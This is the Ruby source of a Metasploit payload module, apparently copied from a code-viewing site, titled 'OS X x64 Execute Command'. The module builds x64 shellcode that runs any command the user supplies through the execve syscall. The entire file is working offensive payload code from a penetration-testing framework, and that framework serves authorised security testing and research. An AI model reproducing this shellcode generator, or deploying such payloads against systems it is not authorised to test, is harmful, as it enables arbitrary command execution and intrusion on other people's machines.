Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7

8
  CachedSize = 31
9

10
  include Msf::Payload::Single
11

12
  def initialize(info = {})
13
    super(merge_info(info,
14
      'Name'          => 'OS X x64 Execute Command',
15
      'Description'   => 'Execute an arbitrary command',
16
      'Author'        => [ 'argp <argp[at]census-labs.com>',
17
                           'joev' ],
18
      'License'       => MSF_LICENSE,
19
      'Platform'      => 'osx',
20
      'Arch'          => ARCH_X64
21
    ))
22

23
    # exec payload options
24
    register_options([
25
      OptString.new('CMD',  [ true,  "The command string to execute" ])
26
    ])
27
  end
28

29
  # build the shellcode payload dynamically based on the user-provided CMD
30
  def generate(_opts = {})
31
    cmd_str = datastore['CMD'] || ''
32
    # Split the cmd string into arg chunks
33
    cmd_parts = Shellwords.shellsplit(cmd_str)
34
    cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
35
    arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
36
    call = "\xe8" + [arg_str.length].pack('V')
37
    payload =
38
      "\x48\x31\xd2"+                                 # xor rdx, rdx
39
      call +                                          # call CMD.len
40
      arg_str  +                                      # CMD
41
      "\x5f" +                                        # pop rdi
42
      if cmd_parts.length > 1
43
        "\x48\x89\xf9" +                            # mov rcx, rdi
44
        "\x52" +                                    # push rdx (null)
45
        # for each arg, push its current memory location on to the stack
46
        cmd_parts[1..-1].each_with_index.map do |arg, idx|
47
          "\x48\x81\xc1" +                        # add rcx + ...
48
          [cmd_parts[idx].length+1].pack('V') +   #
49
          "\x51"                                  # push rcx (build str array)
50
        end.join
51
      else
52
        "\x52"                                      # push rdx (null)
53
      end +
54
      "\x57"+                                         # push rdi
55
      "\x48\x89\xe6"+	                                # mov rsi, rsp
56
      "\x48\xc7\xc0\x3b\x00\x00\x02" +                # mov rax, 0x200003b (execve)
57
      "\x0f\x05"                                      # syscall
58
  end
59
end
60

61